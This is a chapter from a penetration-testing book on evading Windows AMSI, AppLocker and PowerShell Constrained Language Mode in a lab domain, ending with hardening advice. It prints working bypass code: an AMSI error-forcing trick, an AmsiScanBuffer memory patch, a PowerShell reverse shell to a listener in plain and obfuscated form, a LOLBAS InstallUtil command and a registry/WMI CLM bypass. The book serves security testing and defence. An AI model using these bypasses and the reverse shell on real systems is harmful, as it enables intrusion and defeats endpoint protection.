Reader small image

You're reading from  Pentesting Active Directory and Windows-based Infrastructure

Product typeBook
Published inNov 2023
PublisherPackt
ISBN-139781804611364
Edition1st Edition
Concepts
Right arrow
Author (1)
Denis Isakov
Denis Isakov
author image
Denis Isakov

Denis Isakov is a passionate security professional with 10+ years of experience ranging from incident response to penetration testing. He worked in various industries, including banking and consultancy. Denis is specialized in offensive security with particular focus on Active Directory and adversary malware. He has earned a Master's degree in Information Systems and Technologies in 2012. Additionally, Denis has achieved an array of industry certifications ranging from OSCP to GXPN. Outside of computers, Denis enjoys sports and discovering new places.
Read more about Denis Isakov

Right arrow

AMSI, PowerShell CLM, and AppLocker

In this section, we will discuss some of the built-in capabilities in Windows that can limit attacker’s actions on the compromised machine. AMSI, AppLocker, and PowerShell CLM can be bypassed in different ways, but considering them as defense in depth is a good decision. As usual, we need to know the limitations and cover bypasses where it is possible.

Antimalware Scan Interface

Let’s first discuss what Antimalware Scan Interface (AMSI) is. Microsoft developed it to provide a set of API calls for applications, including any third-party applications, to perform a signature-based scan of the content. Windows Defender uses it to scan PowerShell scripts, .NET, VBA macros, Windows Script Host (WSH), VBScript, and JavaScript to detect common malware. The important thing about AMSI is that you do not need to deploy it; it has been there since Windows 10.

In plain words, the AMSI algorithm works as follows:

  1. amsi.dll will be loaded into the process memory space; for example, PowerShell and AmsiInitialize will be called.
  2. Then, AmsiOpenSession is called, which opens a session for a scan.
  3. The script content will be scanned before the execution invoking one of the APIs is called – AmsiScanBuffer or AmsiScanString.
  4. If the content is clear from known malicious signatures, Microsoft Defender will return 1 as the result and the script will be executed.

To confirm this AMSI behavior, we can use Process Hacker[1] or API monitor[2]. These open source tools allow us to see loaded in-process modules, get information about them, and a lot of other information. In the following screenshot, we can see the loaded amsi.dll and a list of exported functions:

Figure 2.1 – Loaded amsi.dll and exported functions

Figure 2.1 – Loaded amsi.dll and exported functions

One important caveat from the Microsoft documentation is as follows – “But you ultimately need to supply the scripting engine with plain, un-obfuscated code. And that is the point at which you invoke the AMSI APIs.” A quick test to prove this statement is as follows:

Figure 2.2 – Detection and concatenation

Figure 2.2 – Detection and concatenation

It looks trivial. We can split the string first and then bypass AMSI using concatenation, but in more complex code this approach will require much more effort. There are a few strategies that were used by researchers to develop reliable bypasses – encoding/obfuscation, hooking, memory patching, forcing an error, registry key modification, and DLL hijacking. You can find two great compiled lists of bypasses and credits to original research created by S3cur3Th1sSh1t[3] and Pentest Laboratories[4]. Some of the bypasses look like a one-liner, but I highly encourage you to dive deeper and review them, read the original research, and follow the thought process. It’s also worth mentioning that not every bypass will be successful, as Microsoft tries to patch them as well. The chances are not great that the good old base64-encoded one-liners will do the trick. The best way to ensure that your bypass will work in the target environment is to precisely identify the victim’s OS version, recreate it in your lab environment, and test, test, test.

Note

For some quick wins, there is a great free website developed by Flangvik (https://amsi.fail/), where you can generate various PowerShell snippets to disable or break AMSI. Another helpful tool is Invoke-Obfuscation[5], written by Daniel Bohannon. This tool has different modes. For me, AST mode was the one that provided reliable bypasses most of the time. The idea is that the script will be obfuscated in such a way that it breaks the AST parsing algorithm in AMSI.

We will try to bypass AMSI using three different techniques: error forcing, obfuscation, and memory patching. As mentioned previously, I will use the SRV01 machine:

Get-WmiObject Win32_OperatingSystem | Select PSComputerName, Caption, Version | fl
PSComputerName : CASTELROCK
Caption        : Microsoft Windows Server 2019 Datacenter Evaluation
Version        : 10.0.17763

Way 1 – Error forcing

Let’s first look at error-forcing code and a bit of split/concatenate fantasy:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

The result of running the preceding commands is shown in the following screenshot:

Figure 2.3 – Error forcing

Figure 2.3 – Error forcing

Way 2 – Obfuscation

For AST obfuscation, let’s try to get reverse shell callback using PowerShellTcpOneLine.ps1 from the Nishang framework[6] and the previously mentioned Invoke-Obfuscation tool. We will set up a listener on port 443 with powercat[7] on another Windows box. Here is the original reverse shell code:

$client = New-Object System.Net.Sockets.TCPClient('192.168.214.135',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

When we try to run it, AMSI catches us:

Figure 2.4 – AMSI blocks original reverse shell

Figure 2.4 – AMSI blocks original reverse shell

Let’s run the Invoke-Obfuscation tool, choosing AST obfuscation, and providing the path to our original reverse shell. After obfuscation, the code looked like this:

Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient('192.168.214.135',443));Set-Variable -Name stream -Value ($client.GetStream());[byte[]]$bytes = 0..65535|%{0};while((Set-Variable -Name i -Value ($stream.Read($bytes, 0, $bytes.Length))) -ne 0){;Set-Variable -Name data -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i));Set-Variable -Name sendback -Value (iex $data 2>&1 | Out-String );Set-Variable -Name sendback2 -Value ($sendback + 'PS ' + (pwd).Path + '> ');Set-Variable -Name sendbyte -Value (([text.encoding]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

The result obtained by running the preceding commands is as follows:

Figure 2.5 – Obfuscated reverse shell callback

Figure 2.5 – Obfuscated reverse shell callback

Way 3 – Memory patch

There are a few ways we can manipulate AMSI in memory to achieve the bypass. The key reasoning behind this is that we are in full control of the process where amsi.dll will be loaded. One of the examples is to force AmsiScanBuffer to return AMSI_RESULT_CLEAN. The general idea is to import API calls and then return a specific value to the AmsiScanBuffer() call: 0x80070057. The original bypass is detected by AMSI now, so we can manipulate with assembly instructions by using a double add operand and successfully bypass the control. The code for this is as follows:

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0:  31 c0                   xor    eax,eax
#2:  05 78 01 19 7f          add    eax,0x7f190178
#7:  05 df fe ed 00          add    eax,0xedfedf
#c:  c3                      ret
#for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)

The result obtained by running the preceding commands is as follows:

Figure 2.6 – Successful AMSI disarm using memory patching

Figure 2.6 – Successful AMSI disarm using memory patching

Also, as an attacker, we cannot ignore the fact that some defensive mechanisms can be abused as well as bypassed. A great example was published by netbiosX[8], which stated that AMSI can be used to achieve persistence on the compromised host. Using previous research and their coding skills, a fake AMSI provider was developed and registered on the compromised host. Using a special keyword, we can initiate a callback home from our backdoor.

All the techniques mentioned here will leave some sort of trace on the victim’s machine. Moreover, even successful bypasses can still be caught by defenders. Excellent blog posts by Pentest Laboratories[9] and F-Secure[10] show how to create detections and share excellent ready-to-use recipes.

In the next section, we are going to discuss two security controls that are quite often deployed in corporate environments.

AppLocker and PowerShell CLM

AppLocker was added by Microsoft in Windows 7 as a successor to the older Software Restriction Policies (SRP). It was supposed to be a comprehensive application white-listing solution. With this feature, you can limit not only applications, but also scripts, batches, DLLs, and more. There are a few ways that a limit can be applied: by Name, Path, Publisher, or Hash. As stated by Microsoft, AppLocker is a security feature, not a boundary. Nowadays, the recommendation is to enforce Windows Defender Application Control (WDAC) as restrictively as possible and then use AppLocker to fine-tune the restrictions. However, in complex enterprise environments, it is still common to see AppLocker alone as it is easier to deploy and administrate.

To understand in more detail how AppLocker is working, I recommend you read four parts of Tyraniddo’s blog[11] about this feature. He starts the journey with the AppLocker setup and overview. In part 2, the author reveals how the process creation is blocked by the operating system’s kernel, followed by a clear example. Part 3 is devoted to rule processing, covering access tokens and access checks. Some basic understanding of security descriptors and tokens will not hurt the reader. The final part has a full focus on DLL blocking.

Now that we know what AppLocker is, why do we need anything on top? What is PowerShell CLM, and how does it relate to AppLocker? In short, we can limit PowerShell sensitive language capabilities to the users by enabling CLM. Some examples of these sensitive capabilities are Windows API invocation, creating arbitrary types, and dot sourcing[12].

CLM can be enforced via environment variables or by setting it through language mode. However, these methods are not reliable and can be bypassed with almost no effort from the attacker. But with system-wide application control solutions, it can be used. The idea is that PowerShell will detect when the AppLocker policy is being enforced and will run only in CLM.

How robust are these protections?

We will deploy it in our sevenkingdoms.local lab domain. I advise you to take a snapshot before any change in the lab so we can quickly revert to the initial state if required. We will create an AppLocker group policy on DC01 and enforce it on the SRV01 server. If you have never deployed AppLocker, there is a friendly guide available[13]. The rule is straightforward – action, user, condition, and exceptions if required. By following the previously mentioned guide[13], we will create default rules and restrictions for users to run cmd.exe. One important caveat – if you are in the Administrators group, by default, AppLocker is not applied to your account. To check your current ruleset, we can use the following command:

Get-AppLockerPolicy -Effective | Select-Object RuleCollections -ExpandProperty RuleCollections

The new Deny_CMD rule can be seen in the following screenshot:

Figure 2.7 – Deny rule in AppLocker

Figure 2.7 – Deny rule in AppLocker

Moreover, as we enforced rules for scripts as well, PowerShell went down in CLM. It is easy to check using the following command:

Figure 2.8 – PowerShell CLM in action

Figure 2.8 – PowerShell CLM in action

The robustness of these security features depends on the quality of the rules we are implementing. In AppLocker, we have Publisher, File Hash, and Path conditions. Let’s briefly discuss all of them and show some possible bypasses.

Path restrictions can be bypassed by evaluating trusted paths and copying our binary there; for example, there are plenty of subfolders inside C:\Windows, where the normal user can copy files. The File Hash deny rule can be bypassed by changing the binary with the known hash mentioned in the rule. Let’s bypass the first two conditions combined and execute nc64.exe on the host. I created the rule to block nc64.exe by its hash. We will first copy nc64.exe to the C:\Windows\System32\spool\drivers\color\ and then bypass the File Hash rule by changing the File Hash by adding an extra A at the end of the file. The result of the bypass is as follows:

Figure 2.9 – Path and hash rule bypass for nc.exe

Figure 2.9 – Path and hash rule bypass for nc.exe

The Publisher condition is much more difficult to bypass. The reason is that the application’s publisher signature and extended attributes will be checked. We cannot use self-signed certificates to bypass it, but we can abuse legitimate signed binaries, which have the extended functionality we need. There is a whole project with a list of such binaries at https://lolbas-project.github.io/. There are two well-illustrated blog posts about common LOLBAS abuse to bypass AppLocker using InstallUtil[14] and MSBuild[15]. In brief, we will use MSBuild.exe to compile and run our malicious code stored in an XML file; for example, with Windows APIs we can allocate memory, and copy and run our shellcode. Another method is to use InstallUtil to run our executable if it is located on the victim’s box:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\my.exe"

But what if cmd.exe is locked down? Not a big deal! You create shortcuts of the required binaries, such as InstallUtil and csc, then manually change the target field value so that it stores the required command line to execute. It is still reliably working until the LOLBAS binaries are not blocked. The entire project with the AppLocker bypasses list is available on GitHub[16]. By evaluating them, we can assess how robust our rules are.

Speaking about CLM bypass, there are different ways to achieve Full Language Mode, such as spawn PowerShell such that it downgrades to version 2 (rarely installed these days), use rundll32.exe with PowerShlld.dll[17], or use bypasses such as a wrapper over InstallUtil[18] and function return value patching[19]. The last three projects will require obfuscation to evade Microsoft Defender nowadays. To read more about the process of finding bypasses, I recommend going through XPN’s great research, “AppLocker and CLM Bypass via COM”[20]. But let me show you one of my favourite bypasses by sp00ks that I recently found[21]. The following code sets the environment registry value in the HKCU hive (you do not need to be an administrator for that), creates a PowerShell process using WMI, and then sets the value back:

$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:\windows\temp"
$TMPBypassPath = "C:\windows\temp"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "Powershell.exe"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value $CurrTemp

The result obtained by running the preceding command is as follows:

Figure 2.10 – Example of CLM bypass

Figure 2.10 – Example of CLM bypass

As we mentioned at the beginning of the section, the best way to harden application control is to deploy Windows Defender Application Control (WDAC) together with AppLocker. One of the most powerful collections of rules is called AaronLocker[22], which can be deployed together with WDAC in your environment via Group Policy[23]. It is recommended to start monitoring your rulesets in audit mode, gradually fine-tuning them.

Previous PageNext Page
You have been reading a chapter from
Pentesting Active Directory and Windows-based Infrastructure
Published in: Nov 2023Publisher: PacktISBN-13: 9781804611364
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
undefined
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at $15.99/month. Cancel anytime

Author (1)

author image
Denis Isakov

Denis Isakov is a passionate security professional with 10+ years of experience ranging from incident response to penetration testing. He worked in various industries, including banking and consultancy. Denis is specialized in offensive security with particular focus on Active Directory and adversary malware. He has earned a Master's degree in Information Systems and Technologies in 2012. Additionally, Denis has achieved an array of industry certifications ranging from OSCP to GXPN. Outside of computers, Denis enjoys sports and discovering new places.
Read more about Denis Isakov